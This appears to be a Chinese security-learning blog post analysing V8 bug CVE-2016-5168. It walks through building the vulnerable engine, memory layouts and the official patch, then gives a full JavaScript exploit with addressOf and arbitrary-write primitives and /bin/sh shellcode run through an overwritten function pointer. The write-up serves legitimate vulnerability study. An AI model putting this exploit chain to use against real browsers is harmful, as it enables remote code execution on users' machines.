前言
继续,但是这些漏洞要细究起来都很麻烦,只能粗略学一下了。
环境搭建
跟前面两篇文章的方式基本一样,首先去chrome的bug页面找到对应的bug,然后查看官方提交的修复:
我们要用的是漏洞版本,所以要回退到其parent版本,所以环境搭建如下(同样使用vultr):
yum groupinstall "Development Tools"
yum install python2
yum install -y git gdb bzip2 wget
cd ~
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=`pwd`/depot_tools:"$PATH"
mkdir v8
cd v8
fetch v8
cd ~/v8/v8
git reset --hard a7a350012c05f644f3f373fb48d7ac72f7f60542 # CVE-2016-5168漏洞分支
gclient sync
./tools/dev/v8gen.py x64.release
ninja -C ./out.gn/x64.release # Release version
./tools/dev/v8gen.py x64.debug
ninja -C ./out.gn/x64.debug # Debug version
编译时报错:
../../third_party/llvm-build/Release+Asserts/bin/clang++: error while loading shared libraries: libtinfo.so.5: cannot open shared object file: No such file or directory
看起来是缺少依赖,按照网上的做法将高版本的该共享库软链接一下:
ln -s /usr/lib64/libtinfo.so.6.1 /usr/lib64/libtinfo.so.5
看起来没有问题了。
漏洞分析
string内存分配
简单的测试脚本:
var str1 = new String("aaaaaaaaaaaaaaa");
var str2 = new String("aaaaaaaaaaaaaaa");
var str3 = new String("bbbbbbbbbbbbbb");
var str4 = new String(null);
%DebugPrint(str1);
%DebugPrint(str2);
%DebugPrint(str3);
%DebugPrint(str4);
%SystemBreak();
四个字符串在内存中的表示如下:
可以看到,JavaScript中的字符串也是个对象,其数据保存在value属性中。两个相同的字符串只会在内存中保存一次,保存的地方看起来是在堆栈上面,然后两个字符串对象的value指针指向同一个地址处。如果是null字符串,其value指针会指向跟elements指针相近的地方,看起来它们可能都是程序中定义的一个泛用型数据。字符串的value属性内存表示如下:
第三个地址单元处以SMI类型存储了字符串长度,第四个地址单元开始就是字符串的数据,第一个地址单元打印出来可以看到是个Map,第二个地址单元只占用了低32位,是个不知名数据。
对象properties属性内存分配
测试代码:
var a = {};
a.a = 1;
a.b = 1.1;
a.c = {};
%DebugPrint(a);
%SystemBreak();
内存布局如下:
可以看到,对于{}这种字典型对象来说,此时其properties就直接布置在了对象的后方,和对象紧贴,并按照SMI、Double、Object等类型进行存放。
换一下测试代码:
var a = new Set();
a.a = 1;
a.b = 1.1;
a.c = {};
%DebugPrint(a);
%SystemBreak();
内存布局如下:
可以看到,对于Set这种非字典型对象来说,此时其properties属性是一个保存在第二个地址单元处的指针,我们定义的这些properties都会放置在这个指针指向的地址处。在该处地址,第一个地址单元存放Map,第二个地址单元存放properties数量,第三个地址单元开始存放properties,SMI直接存放,Double和对象存放的是地址。
patch分析
主要patch有两处,第一处如下所示:
diff --git a/src/compiler/js-global-object-specialization.cc b/src/compiler/js-global-object-specialization.cc
index a06704a..b38aed4 100644
--- a/src/compiler/js-global-object-specialization.cc
+++ b/src/compiler/js-global-object-specialization.cc
@@ -196,13 +196,18 @@
Type* property_cell_value_type;
MachineRepresentation representation = MachineRepresentation::kTagged;
if (property_cell_value->IsHeapObject()) {
+ // We cannot do anything if the {property_cell_value}s map is no
+ // longer stable.
+ Handle<Map> property_cell_value_map(
+ Handle<HeapObject>::cast(property_cell_value)->map(), isolate());
+ if (!property_cell_value_map->is_stable()) return NoChange();
+ dependencies()->AssumeMapStable(property_cell_value_map);
+
// Check that the {value} is a HeapObject.
value = effect = graph()->NewNode(simplified()->CheckHeapObject(),
value, effect, control);
// Check {value} map agains the {property_cell} map.
- Handle<Map> property_cell_value_map(
- Handle<HeapObject>::cast(property_cell_value)->map(), isolate());
effect = graph()->NewNode(
simplified()->CheckMaps(1), value,
jsgraph()->HeapConstant(property_cell_value_map), effect, control);
根据文件名和路径可以看出,问题发生在JIT对全局对象的优化处,而根据注释可以看出,代码中增加了对unstable Map的检查。然后是第二处patch:
diff --git a/src/crankshaft/hydrogen.cc b/src/crankshaft/hydrogen.cc
index 16c3639..79e78a5 100644
--- a/src/crankshaft/hydrogen.cc
+++ b/src/crankshaft/hydrogen.cc
@@ -6518,11 +6518,19 @@
access = access.WithRepresentation(Representation::Smi());
break;
case PropertyCellConstantType::kStableMap: {
- // The map may no longer be stable, deopt if it's ever different from
- // what is currently there, which will allow for restablization.
- Handle<Map> map(HeapObject::cast(cell->value())->map());
+ // First check that the previous value of the {cell} still has the
+ // map that we are about to check the new {value} for. If not, then
+ // the stable map assumption was invalidated and we cannot continue
+ // with the optimized code.
+ Handle<HeapObject> cell_value(HeapObject::cast(cell->value()));
+ Handle<Map> cell_value_map(cell_value->map());
+ if (!cell_value_map->is_stable()) {
+ return Bailout(kUnstableConstantTypeHeapObject);
+ }
+ top_info()->dependencies()->AssumeMapStable(cell_value_map);
+ // Now check that the new {value} is a HeapObject with the same map.
Add<HCheckHeapObject>(value);
- value = Add<HCheckMaps>(value, map);
+ value = Add<HCheckMaps>(value, cell_value_map);
access = access.WithRepresentation(Representation::HeapObject());
break;
}
同样是看注释,可以看到同样增加了对unstable Map的检查,同时对stable Map,还增加了一个AssumeMapStable函数的调用,其定义如下:
void CompilationDependencies::AssumeMapStable(Handle<Map> map) {
DCHECK(map->is_stable());
// Do nothing if the map cannot transition.
if (map->CanTransition()) {
Insert(DependentCode::kPrototypeCheckGroup, map);
}
}
kPrototypeCheckGroup操作码的注释如下:
// Group of code that omit run-time prototype checks for prototypes
// described by this map. The group is deoptimized whenever an object
// described by this map changes shape (and transitions to a new map),
// possibly invalidating the assumptions embedded in the code.
看起来是在一个对象的Map发生变化时去优化用的(比如前面测试代码中我们给Set对象定义属性时它的Map属性就会发生变化)。
官网给出的bug测试代码如下:
var n;
function Ctor() {
try { } catch (e) {}
n = new Set();
}
function Check() {
n.xyz = 0x826852f4;
}
Ctor();
Ctor();
%OptimizeFunctionOnNextCall(Ctor);
Ctor();
Check();
Check();
%OptimizeFunctionOnNextCall(Check);
Check();
Ctor();
Check();
parseInt('AAAAAAAA');
稍微修改一下,改得好看一点,try和catch跟JIT使用的编译器有关,这里可以去掉:
var n;
function Ctor() {
n = new Set();
}
function Check() {
n.xyz = 0x826852f4;
}
for (var i=0;i<10000;i++) {
Ctor();
}
for (var i=0;i<10000;i++) {
Check();
}
Ctor();
Check();
var b = new String(null);
print(b);
运行一下,可以发现程序崩溃,使用–print-opt-code参数打印一下优化代码,Ctor函数的优化代码如下:
可以看到,优化代码首先通过Construct构造了一个Set对象,然后将其存储到了0x2a3ad4c2b819+0xf地址处。
Check函数的优化代码如下:
可以看到,优化代码从0x2a3ad4c2b819+0xf地址处取出了Set,然后将浮点数0x41e04d0a5e800000(即0x826852f4)放入浮点数寄存器中,然后取出Set对象0x7偏移处的数据(算上JavaScript底层存储指针时会加上的1,就是0x8偏移,即放置在第二个地址单元处的properties指针),将其作为一个指针,以偏移0xf(即第三个地址单元处)再取个地址,再以偏移0x7将这个浮点数写入进去:
跟我们前面看到的Set对象properties存放方式相吻合(即properties指针->第一个properties(因为是Double所以此处是个指针)->该properties的数据),然后我们调试一下看看properties为空时Set对象的内存布局:
可以看到,此时properties指针和elements指针指向同一个地址,而该地址附近就是我们之前看到过的null字符串的value指针指向的地方。
也就是说,此时Check函数的优化代码发生了一个越界写漏洞,它将这个浮点数写入到了null字符串->value指针->Map指针->第二个地址单元处,损坏了这个null字符串的Map,所以在后面要使用到其时导致了程序崩溃。
漏洞利用
addressOf
按照我们对JavaScript对象底层布局的了解,SMI类型会直接写入到高32位处,对象会直接写入其地址,Double则会多一层地址来写入。
自然我们可以通过多次定义Set对象的连续改写多个地址单元处的数据,我们只要将某个对象的地址写入到null字符串的value属性的第四个地址单元(即字符串数字部分),就可以通过访问字符串的方式读取到其地址。
但这里有一个问题,为了避免程序崩溃,null字符串的value属性的前两个地址单元中的数据(即Map、不知名低32位)是不能被更改的。后一个数据好说,只要写入一个SMI类型的数据0,因为SMI类型只会影响高32位,所以不会写入一个0不会影响这个地址单元的数据。但前一个地址单元是个地址,写入SMI或者对象都会让其发生错误,所以只能看看写入Double数据时,其所指向的地址的第二个地址单元处数据是否固定,调试一下:
可以看到,这个地址单元的数据实际上不是指针这种不确定的数据,而是多个数据的集合,分别代表这个Map的多种属性,也就是说,这是个可以确定的数据,我们可以通过写入相同的Double来避免改写此处的数据。
可以写出addressOf函数:
var buf = new ArrayBuffer(0x8);
var dv = new DataView(buf);
function p64f(value1,value2) {
dv.setUint32(0,value1,true);
dv.setUint32(0x4,value2,true);
return dv.getFloat64(0,true);
}
function u64f(value) {
dv.setFloat64(0,value,true);
return dv.getUint32(0,true) + dv.getUint32(4,true)*0x100000000;
}
var set;
function Ctor() {
set = new Set();
}
function Check(obj) {
set.a = p64f(0x00007300, 0x00190004);
set.b = 0x0;
set.c = 0x8;
set.d = obj;
}
for (var i=0;i<10000;i++) {
Ctor();
}
for (var i=0;i<10000;i++) {
Check({});
}
var str = new String(null);
function addressOf(obj) {
Ctor();
Check(obj);
var addr = 0;
for (var i=0;i<0x8;i++) {
addr += (str.charCodeAt(i) * Math.pow(0x100,i));
}
return addr - 0x1;
}
print(addressOf(str).toString(16));
%DebugPrint(set);
%SystemBreak();
调试一下看看有没有问题:
打印一下这个地址:
没有问题。
任意地址写
要实现命令执行,还需要一个任意地址写功能。在SMI、对象、Double这三种能写的数据中,比较特别的就是Double类型,它能够将某个地址单元处的数据当作一个地址,然后往该地址的下一个地址单元写入数据。
所以,如果我们能够先向这个地址单元写入一个地址,那么我们第二次就可以通过写入Double的方式实现任意地址写。不过这样还有一个问题,我们只能直接写入SMI、对象指针这两种数据,而SMI只能影响高32位,所以能用的只有写入对象这一种方式,所以要写入任意地址还需要一点别的操作。
这里还有一点,new String(null)和String(null)有所不同,后者可以直接获得null字符串的value属性:
思考这么一种情况,首先我们通过addressOf获取null字符串的地址,然后通过越界写入这么4个数据:
- p64f(0x00007300, 0x00190004)
- 0x0
- 0x8
- String(null)
这样第四个地址单元处就是一个地址,其指向null字符串。
然后第二次我们写入:
- p64f(0x00007300, 0x00190004)
- 0x0
- 0x8
- address(要写入数据的地址)-0x7
这次写入第四个地址单元的数据就是一个Double类型,根据偏移,此时会将数据写入第二个地址单元处。
最后第三次写入:
- p64f(0x00007300, 0x00190004)
- value(要写入的数据)
这次写入第二个地址单元的数据就是一个Double类型,根据偏移,此时会将数据写入要写入数据的地址处。
按照参考文章的图片,就是:
因为要进行越界写入三次,为了避免相互影响使用3个不同的对象,否则第二次写入时会出错。
命令执行
通过构造自定义函数代替wasm,找好偏移把shellcode写入然后执行就行:
var buf = new ArrayBuffer(0x8);
var dv = new DataView(buf);
function i2f(value1,value2) {
dv.setUint32(0, value1, true);
dv.setUint32(0x4, value2, true);
return dv.getFloat64(0, true);
}
function f2i(value) {
dv.setFloat64(0, value, true);
return dv.getUint32(0, true) + dv.getUint32(4, true) * 0x100000000;
}
var set, map, date;
function SetCtor() {
set = new Set();
}
function MapCtor() {
map = new Map();
}
function DateCtor() {
date = new Date();
}
function useForAddressOf(obj) {
set.a = i2f(0x00007300, 0x00190004);
set.b = 0x0;
set.c = 0x9;
set.d = obj;
}
function useForWrite1(val) {
map.a = i2f(0x00007300, 0x00190004);
map.b = 0x0;
map.c = 0xa;
map.d = val;
}
function useForWrite2(val) {
date.a = i2f(0x00007300, 0x00190004);
date.b = val;
}
for (var i = 0;i < 10000;i++) {
SetCtor();
}
for (var i = 0;i < 10000;i++) {
useForAddressOf({});
}
var str = new String(null);
function addressOf(obj) {
SetCtor();
useForAddressOf(obj);
var addr = 0;
for (var i = 0;i < 0x8;i++) {
addr += (str.charCodeAt(i) * Math.pow(0x100, i));
}
return addr - 0x1;
}
var nullStr = addressOf(String(null));
print("nullStr_addr = 0x" + nullStr.toString(16));
for (var i = 0;i < 10000;i++) {
MapCtor();
}
for (var i = 0;i < 10000;i++) {
useForWrite1(i + 1.1);
}
for (var i = 0;i < 10000;i++) {
DateCtor();
}
for (var i = 0;i < 10000;i++) {
useForWrite2(i + 1.1);
}
function write(address, data) {
SetCtor();
useForAddressOf(String(null));
MapCtor();
useForWrite1(i2f(address & 0xFFFFFFFF,address / 0x100000000));
DateCtor();
useForWrite2(i2f(data & 0xFFFFFFFF,data / 0x100000000));
}
var func = new Function("var a = 0x66666666;");
var shellcode_ptr_addr = addressOf(func) + 0x38;
print("shellcode_ptr_addr = 0x" + shellcode_ptr_addr.toString(16));
var data_buf = new ArrayBuffer(24);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20;
print("buf_backing_store_addr = 0x" + buf_backing_store_addr.toString(16));
write(buf_backing_store_addr - 0x7, shellcode_ptr_addr);
var shellcode_addr = f2i(data_view.getFloat64(0,true));
print("shellcode_addr = 0x" + shellcode_addr.toString(16));
write(buf_backing_store_addr - 0x7, shellcode_addr);
var shellcode = [
0xbb48f631,
0x6e69622f,
0x68732f2f,
0x5f545356,
0x31583b6a,
0x00050fd2,
];
for (var i = 0;i < shellcode.length;i++) {
data_view.setUint32(i * 4, shellcode[i], true);
}
func();
执行结果:
后记
hard。
参考文章
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!